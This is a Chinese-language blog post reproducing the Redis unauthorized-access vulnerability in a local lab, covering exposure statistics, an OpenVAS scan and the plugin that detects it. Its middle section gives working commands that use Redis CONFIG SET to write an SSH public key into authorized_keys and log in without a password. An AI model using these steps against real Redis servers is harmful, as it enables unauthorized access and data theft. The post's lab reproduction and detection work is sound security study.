redis未授权访问漏洞

作者: 折戟尘风 | 来源:发表于2018-01-29 18:16 被阅读35次

    redis未授权访问漏洞


    了解漏洞

    redis是什么?

    通过查阅资料可知,redis即为key-value数据库中的一种。这有点用名词解释名词了,但是这有必要先解释一下key-value数据库。
    Key-value数据库顾名思义就是利用键和数据值相对应存储的一种数据库,就类似于java中的map。我们整个数据库就可以看成一个大的map,在map中一个特地的key对应一个唯一的value。
    同时我们redis作为key-value数据库的一种他支持很多很多的value的类型,redis也是一种内存型的数据库,所以可以提供高效率的读写,但同时他占用cpu将会很高。在内存上操作, 我们很容易想到数据的持久化的问题,不用担心,redis可以将数据持久化到硬盘中,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。
    看看网上说的reids相对于其他key-value数据库的三大优点:
    ·Redis支持数据的持久化,可以将内存中的数据保存在磁盘中,重启的时候可以再次加载进行使用。
    ·Redis不仅仅支持简单的key-value类型的数据,同时还提供list,set,zset,hash等数据结构的存储。
    ·Redis支持数据的备份,即master-slave模式的数据备份。

    redis未授权访问漏洞

    Redis在默认情况会将服务绑定在0.0.0.0:6379上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上,达到免密登陆的效果。

    具体漏洞描述

    Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。
    Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
    因为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因,部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致
    Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
    利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。

    漏洞危害

    如果攻击者进入了我们的redis服务器,他便可以自由下载数据库中的文件,造成信息泄露,造成个人隐私泄露或者公司机密泄露,造成巨大损害。同时如果攻击者进行提权获取更大的权限,还会产生更大的危害。
    我尝试使用Shodan对公网上的开放的redis进行搜索(port:6379):


    1.png

    我们可以看到一共有87881个结果,其中我国位列榜首。。。。国人的安全意识还是有待提高。
    看一下具体地图分布吧:


    2.png
    两次搜索数量有一点不一样。
    3.png
    榜首竟然是杭州阿里巴巴。

    漏洞的复现和利用

    安装redis(我采用源码安装)

    首先下载源码然后编译安装

    $ wget http://download.redis.io/releases/redis-4.0.6.tar.gz
    $ tar xzf redis-4.0.6.tar.gz
    $ cd redis-4.0.6
    $ make
    

    编译完成:


    4.png

    配置文件

    在Src目录下,有四个可执行文件redis-server、redis-benchmark、redis-cli和redis.conf(这个在安装目录)。然后拷贝到一个目录下。

    $ mkdir /usr/redis
    $ cp redis-server  /usr/redis
    $ cp redis-benchmark /usr/redis
    $ cp redis-cli  /usr/redis
    $ cp redis.conf  /usr/redis
    $ cd /usr/redis
    

    开启redis服务

    直接进入刚刚创建的redis文件夹后执行

    $ ./redis-server ./redis.conf
    
    5.png

    检查是否成功开启

    6.png

    配置redis,使他处于漏洞状态

    我直接开启了redis,此时没有认证,redis的默认就是这样,然后我只需要将redis更改绑定在0.0.0.0:6379就可以,在redis.conf里面更改就行了。


    7.png

    尝试使用namp扫描了一下我的6379端口

    8.png

    可以看到一下子就可扫描出信息,而且包含一下敏感信息。

    尝试利用redis客户端进行未授权访问

    9.png

    果然,很成功就进入了,上门查看了主机信息(信息在下面,没截图)

    开启公钥登录

    生成公钥:

    $ ssh-keygen -t rsa //rsa加密
    
    10.png

    然后将公钥写入文本:

    $ cd ~/.ssh/
    $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> 1.txt
    

    将1.txt写入redis

    $ cat 1.txt | /usr/redis/./redis-cli -h 127.0.0.1  -x set crack
    

    利用redis客户端连接

    $ ./redis-cli -h 127.0.0.1
    

    获取redis备份路径,更改redis备份路径,设置备份文件的名称为authorized_key

    $ CONFIG GET dir
    $ CONFIG SET dir /home/r_song/.ssh     //更改目录到r_song下
    $ CONFIG SET dbfilename authorized_keys  
    $ CONFIG GET dbfilename     //获取确认一下更改成功
    $ Save        //保存
    

    然后用ssh进行连接即可(在.ssh路径执行,并先把我们虚拟机的ssh服务打开)

    $ ssh –i  id_rsa ******@127.0.0.1
    

    就可以成功登录。

    使用openvas对我们存在漏洞的系统进行扫描

    查扫描结果(在上一篇博客介绍了openvas)

    12.png

    从图中我们可以看到,redis-1我是使用默认的扫描方式,然后redis2是扫描的all tcp and namp 5.1 top100扫描的但是结果不一样。我们重点看redis2这个扫描结果:


    13.png

    可以看到扫描出了redis服务没有密码。

    了解openvas使用的各种插件,即nvt是什么

    Nvt(network vulnerability tests)即网络漏洞测试,是openvas中的免费的扫描插件。我可以在线同步获取这个插件(openvas-nvt-sync)或者离线下载。


    14.png

    这是我在官网上找到的openvas工作的图,可以看到,openvas的插件nvt是在openvas scanner提供服务的。nvt就是根据不同的需求调用nasl脚本进行检测。

    对应扫描该漏洞的nvt是什么?

    在扫描结果中可以找到nvt的名称,以及OID编号,在 http://www.openvas.org/openvas-nvt-feed.html 中可以根据OID编号查找对应nvt的文件名是什么,然后可以在/var/lib/openvas/plugins/目录下,找到该文件。

    15.png
    找到指定文件:
    16.png
    17.png
    前面是这个nvt的一些信息,比如oid,version,还有危险评分等。Family是属于database的。基本这些都是信息。
    18.png
    主要就是后面几行,先获取了端口信息,确定端口是否打开:get_app_port()。然后使用get_kb_item(〈name〉)函数可以获得基本信息的〈name〉项的值,这个函数是匿名函数。通过测试no_password如果成功了就说明有这个漏洞,然后退出。后面是加密信息端口号。

    相关文章

      网友评论

        本文标题:redis未授权访问漏洞

        本文链接:https://www.haomeiwen.com/subject/fwcfzxtx.html